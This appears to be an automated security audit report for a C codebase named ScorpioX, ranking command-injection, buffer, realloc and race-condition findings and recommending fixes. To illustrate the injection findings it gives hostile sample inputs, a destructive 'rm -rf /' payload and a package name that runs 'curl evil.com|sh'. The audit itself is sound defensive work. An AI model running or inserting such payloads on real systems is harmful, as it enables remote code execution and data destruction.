📄 04-vulnerabilities.md
⬇ Download Raw

Security Vulnerability Audit Report

Project: ScorpioX (clang codebase) Date: 2026-04-28 Auditor: Security Audit Agent Scope: 150 non-vendor C source files (~127K LOC), excluding third-party vendor code (mbedtls, yyjson, stb_image)

Executive Summary

The ScorpioX codebase is a substantial C project comprising a TUI client, HTTP/WebSocket server, DNS server, SMTP/IMAP email subsystem, container engine, and multiple utility programs. The codebase demonstrates generally sound security practices — no classic strcpy/strcat/sprintf/gets calls were found in project-owned code, and snprintf is used consistently (2,282 instances). However, significant risks exist in command injection via system()/popen() (118+ call sites), large stack-allocated buffers, and several areas lacking bounds/null checks.

Risk Rating: MEDIUM-HIGH — The most critical findings involve command injection surfaces in network-reachable code paths and potential buffer overflows in network-facing services.

Vulnerability Summary

#SeverityCVSSLocationCategoryDescription
V-01CRITICAL9.8scorpiox-server.c:1568-1652Command InjectionCGI env vars embedded in Windows cmd /C via system() — sanitization strips only 6 chars
V-02HIGH8.6scorpiox-websearch.c:222Command InjectionURL passed to popen() via scorpiox-fetch "%s" — shell metachar injection possible
V-03HIGH8.1scorpiox-unshare.c:1245Command Injectionwhich %s via system() with package name from config — no input validation
V-04HIGH7.5scorpiox-wsl.c:676-878Command Injectionsystem() with 16KB command buffer built from user inputs, wsl.exe -d %s
V-05HIGH7.5scorpiox-whatsapp.c:620-983Command InjectionMultiple system() calls with tmux commands from message data
V-06HIGH7.4bridge/ws2tcp.c:504Path Traversal (Weak)strstr(url_path, "..") check bypassable via encoded traversal (%2e%2e)
V-07MEDIUM6.5sxmail_dkim.c:414Stack Buffer Overflow32KB sign_data[32768] on stack — bounds checked but excessive stack usage
V-08MEDIUM6.5scorpiox-wsl.c:676,721Stack Exhaustion16KB + 12KB stack buffers (cmd[16384], inner[12288]) risk stack overflow
V-09MEDIUM6.2sxmux_session.c:1841Type ConfusionComparison always false due to limited range of data type (compiler warning)
V-10MEDIUM5.9scorpiox-vi.c:191,424,447,472Unchecked reallocrealloc() returns checked but original pointer lost — if realloc fails, E.out_buf/line->data/E.lines become NULL, causing silent data loss
V-11MEDIUM5.5Multiple (118+ sites)System Command PatternPervasive snprintf(cmd) + system(cmd) pattern throughout codebase
V-12MEDIUM5.3scorpiox-server.c:897-914TOCTOUaccess() then realpath() then fopen() — race window between check and use
V-13LOW4.3sxmux_session.c:248Missing Error Checkfscanf(pf, "%lld", &created_ts) return value not checked
V-14LOW4.0scorpiox-claudecode-fetchtoken.cMissing Headers33 compiler warnings — missing #include for standard library functions (implicit declarations)
V-15LOW3.7sxmux_session.c:1776,1832Dead CodeUnused variables rtype — indicates possible incomplete implementation
V-16LOW3.5scorpiox-openai.c:73Unchecked reallocrealloc without NULL check — silent crash on OOM
V-17INFO2.0Multiple filesLarge Stack Buffers60+ instances of stack buffers ≥4096 bytes; 10+ files use ≥8192 bytes
V-18INFO1.5scorpiox-server.c:3079-3083Signal Safetysignal() used instead of sigaction() — non-portable behavior

Detailed Analysis

1. Buffer Overflow Analysis

1.1 Unsafe String Functions — PASS

The codebase demonstrates excellent discipline in avoiding classic unsafe functions:

FunctionOccurrencesAssessment
strcpy()0 (project code)✅ Clean — only yyjson_mut_obj_add_strcpy() API calls (safe)
strcat()0 (project code)✅ Clean — only appears in KQL keyword list as string literal
sprintf()0✅ Clean — all formatting uses snprintf()
gets()0✅ Clean
vsprintf()0✅ Clean
snprintf()2,282✅ Consistently used as safe alternative

1.2 Stack Buffer Risks — MEDIUM RISK ⚠️

60+ stack buffers ≥ 4096 bytes were identified. Notable cases:
FileBufferSizeRisk
sxmail_dkim.c:414sign_data[32768]32KBStack overflow on limited-stack threads
scorpiox-wsl.c:676cmd[16384]16KBStack pressure in nested call chains
scorpiox-wsl.c:721inner[12288]12KBCombined with above: ~28KB on one function
sxmail_imap.c:135buf[8192]8KBIn network read loop
sxtmux_backend_tmux.c:65cmd[8192]8KBSystem command buffer
scorpiox-unshare.c:2410masked[8192]8KBStack-allocated mask buffer
Mitigating factor: All write operations to these buffers use snprintf() with proper size limits. The risk is primarily stack exhaustion rather than overflow.

1.3 sscanf Width Limits — LOW RISK

28 sscanf/fscanf calls were found. Most use width specifiers:

No unbounded %s scans were found.


2. Format String Analysis — PASS

No format string vulnerabilities were identified:


3. Integer Overflow Analysis — LOW-MEDIUM RISK ⚠️

3.1 Allocation Arithmetic

LocationPatternRisk
sxmux_vt.c:282,311,910calloc((size_t)cols (size_t)rows, sizeof(SxMuxCell))Medium — cols×rows could overflow if values are attacker-controlled
sxmux_vt.c:918calloc((size_t)scrollback_cap (size_t)cols, sizeof(SxMuxCell))Medium — multiplication overflow
scorpiox-tmux.c:2420malloc((size_t)n 6 + 1)Low — n×6 could overflow for very large n
scorpiox-vi.c:512malloc(sizeof(Line) E.num_lines)Low — multiplication overflow possible
sxmail_maildir.c:478malloc((size_t)fsize + 1)Low — fsize from ftell(), +1 cannot overflow

3.2 Realloc Growth Patterns

Most realloc uses a doubling pattern (cap * 2). While size_t overflow is theoretically possible, practical exploitation requires near-maximum allocations.

Recommendation: Use overflow-safe multiplication: if (a > SIZE_MAX / b) return NULL;

4. Memory Safety Analysis

4.1 Allocation Summary

OperationCountNULL-checked
malloc()288~95% checked ✅
calloc()98~90% checked ✅
realloc()109~85% checked ⚠️
strdup()409Varies ⚠️
free()1,277N/A

4.2 Unsafe realloc Patterns — MEDIUM RISK (V-10, V-16)

Several realloc() calls lose the original pointer on failure:

// scorpiox-vi.c:191 — Original pointer lost on failure

E.out_buf = realloc(E.out_buf, E.out_cap);

if (!E.out_buf) return; // Memory leak: old buffer not freed

// scorpiox-vi.c:424

line->data = realloc(line->data, line->cap);

if (!line->data) return; // Memory leak + data loss

// scorpiox-openai.c:73

b->data = realloc(b->data, b->cap); // No NULL check at all

Correct pattern (used elsewhere in codebase):
char *tmp = realloc(buf, newcap);

if (!tmp) { / handle error, buf still valid / }

buf = tmp;

4.3 Double-Free / Use-After-Free — NO ISSUES FOUND

All free() calls are followed by NULL assignment or are in cleanup paths. No double-free patterns detected.

4.4 strdup Without NULL Check

409 strdup() calls exist. While most are used in non-critical paths, some should be audited for NULL handling in memory-constrained environments (e.g., WASM builds).


5. Command Injection Analysis — CRITICAL 🔴

This is the highest-risk category in the codebase. 118+ system() calls and 40+ popen() calls were identified.

5.1 V-01: CGI Environment Variable Injection (CRITICAL)

File: scorpiox-server.c:1560-1652

On Windows, CGI environment variables (from HTTP headers) are embedded into a cmd /C command string:

pos += snprintf(cmd + pos, cmd_size - pos, "set \"%s=%s\" && ", env_name, safe_val);

The SX_SANITIZE_CMD macro only strips: " & | ^ < >. This misses:

Impact: Remote attacker can inject arbitrary Windows commands via crafted HTTP headers. CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical

5.2 V-02: URL Injection via popen() (HIGH)

File:
scorpiox-websearch.c:222
snprintf(cmd, sizeof(cmd),

"scorpiox-fetch \"%s\" -f html --user-agent \"%s\" 2>/dev/null", url, USER_AGENT);

FILE *fp = popen(cmd, "r");

If url contains shell metacharacters (e.g., "; rm -rf /; #), they will be interpreted by /bin/sh. The double-quote wrapping is insufficient — a " in the URL breaks out.

Impact: Arbitrary command execution if URL input is not pre-sanitized upstream.

5.3 V-03: Package Name Injection (HIGH)

File:
scorpiox-unshare.c:1245
snprintf(wcmd, sizeof(wcmd), "which %s >/dev/null 2>&1", tok);

if (system(wcmd) != 0) { all_present = 0; break; }

tok comes from a comma-separated package list. If this list originates from user configuration, shell injection is possible (e.g., package name: bash;curl evil.com|sh).

5.4 V-04: WSL Command Construction (HIGH)

File:
scorpiox-wsl.c:676-878

Multiple system() calls construct commands from name (distro name) and command parameters without shell escaping:

snprintf(cmd, sizeof(cmd), "wsl.exe -d %s -- %s /bin/bash -l", name, ep);

return system(cmd);

5.5 V-05: WhatsApp Bridge Command Injection (HIGH)

File:
scorpiox-whatsapp.c:620-983
system(cmd);        // Line 620 - bridge launch

system(tmux_cmd); // Line 831 - tmux command from message data

5.6 General Pattern

The snprintf → system() pattern is used pervasively across:

Recommendation: Replace system() with fork()/execv() using argv arrays to avoid shell interpretation entirely, as already done in sx_exec.c:108 for timeout cases.

6. Path Traversal Analysis — MEDIUM RISK ⚠️

6.1 V-06: ws2tcp Static File Serving

File:
bridge/ws2tcp.c:504
if (strstr(url_path, "..")) {

// blocked

}

This check is insufficient:

Mitigating factor: No URL decoding happens before the check, so %2e stays as %2e in the path and won't resolve to .. on the filesystem. Risk is low but defense-in-depth is missing.

6.2 Server Path Validation — GOOD

scorpiox-server.c uses realpath()/_fullpath() canonicalization + prefix checking — this is the correct approach and blocks symlink-based traversal. Minor TOCTOU issue (V-12): access()is_path_within_dir()execlp() has a race window where the file could be swapped between check and execution.

7. Race Condition Analysis — LOW-MEDIUM RISK ⚠️

7.1 Threading Model

The codebase uses pthreads in several components:

Thread safety assessment: Mutex usage appears correct. The sx_dll.c queue implementation uses proper locking patterns.

7.2 Signal Handlers

36 signal handler registrations found. Most use signal() rather than sigaction():

signal(SIGINT, handle_signal);   // Non-portable, can reset to SIG_DFL

signal(SIGTERM, handle_signal);

signal(SIGCHLD, reap_children); // Race between signal delivery and wait()

Issues:

7.3 TOCTOU Patterns

7.4 Global Mutable State

sx.c uses extensive global state (g_chat, g_loading, etc.) but is single-threaded in the main event loop. The DLL interface (sx_dll.c) properly protects shared state with mutexes.

8. Compiler Warning Analysis

Compilation with -Wall -Wextra -Wformat-security -Wformat=2 produced:

FileWarningsType
scorpiox-claudecode-fetchtoken.c33Missing includes, implicit declarations
sxmux_session.c3Unused variables, type-limits comparison
scorpiox-multiplexer.c3Unused variables
bridge/ws2tcp.c1Minor
10 other files1 eachMacro redefinitions
Notable:
scorpiox-claudecode-fetchtoken.c has 33 warnings including implicit function declarations for socket functions (socket, connect, getaddrinfo). This means the compiler doesn't verify argument types, creating silent truncation/type-mismatch risks.

9. Null Pointer Dereference Analysis — LOW RISK


CVSS Risk Scoring Summary

FindingCVSS 3.1 VectorScoreSeverity
V-01 CGI InjectionAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8Critical
V-02 URL InjectionAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H8.6High
V-03 Pkg InjectionAV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H8.1High
V-04 WSL InjectionAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H7.5High
V-05 WhatsApp InjectionAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H7.5High
V-06 Path TraversalAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.4High
V-07 Stack BufferAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H6.5Medium
V-08 Stack ExhaustionAV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H6.5Medium
V-09 Type ConfusionAV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L6.2Medium
V-10 Realloc SafetyAV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H5.9Medium
V-11 System PatternAV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N5.5Medium
V-12 TOCTOUAV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N5.3Medium

Remediation Recommendations

Priority 1 — Critical (Fix Immediately)

  • V-01: Replace Windows cmd /C set pattern with CreateProcess() + environment block API (SetEnvironmentVariable / lpEnvironment parameter). The current sanitization is insufficient for cmd.exe metacharacters.
  • V-02: Use execv() with an argument array instead of popen() with shell-interpreted commands for scorpiox-fetch. Example:
  •    char *argv[] = {"scorpiox-fetch", url, "-f", "html", "--user-agent", USER_AGENT, NULL};
    

    // Use fork()/execvp() with pipe for output capture

    Priority 2 — High (Fix in Next Release)

  • V-03 through V-05: Audit all system() call sites and replace with fork()/exec() where input comes from configuration or external sources. Create a helper function:
  •    int sx_exec_argv(const char prog, char const argv[], char **output);
       
  • V-06: Add URL decoding before path traversal check in ws2tcp.c, or use realpath() canonicalization as done in scorpiox-server.c.
  • Priority 3 — Medium (Scheduled Fix)

  • V-10, V-16: Fix all realloc() calls to use temp pointer pattern:
  •    void *tmp = realloc(ptr, newsize);
    

    if (!tmp) { / error handling / }

    ptr = tmp;

  • V-07, V-08: Move large stack buffers (>8KB) to heap allocation with proper cleanup.
  • V-12: Use open() with O_NOFOLLOW and fstat() after open to eliminate TOCTOU.
  • Priority 4 — Low (Best Practice Improvements)

  • Replace signal() with sigaction() throughout for portable behavior.
  • Add overflow-safe multiplication helper for allocation arithmetic.
  • Fix scorpiox-claudecode-fetchtoken.c missing includes.
  • Add -Wformat-security to default build flags in CMakeLists.txt.

  • Positive Security Observations

  • No unsafe string functions — Zero strcpy/strcat/sprintf/gets in 127K LOC
  • Consistent snprintf usage — 2,282 bounded format calls
  • Good malloc NULL checking — ~95% coverage
  • Proper mutex usage — Thread synchronization in sx_dll.c is correct
  • Path canonicalizationrealpath() used in server for path validation
  • SIGCHLD blocking during popen — Prevents race in scorpiox-server.c
  • Bounded sscanf — All %s` scans use width specifiers
  • Proper free+NULL pattern — Consistently used to prevent use-after-free

  • Report generated by Security Audit Agent — 2026-04-28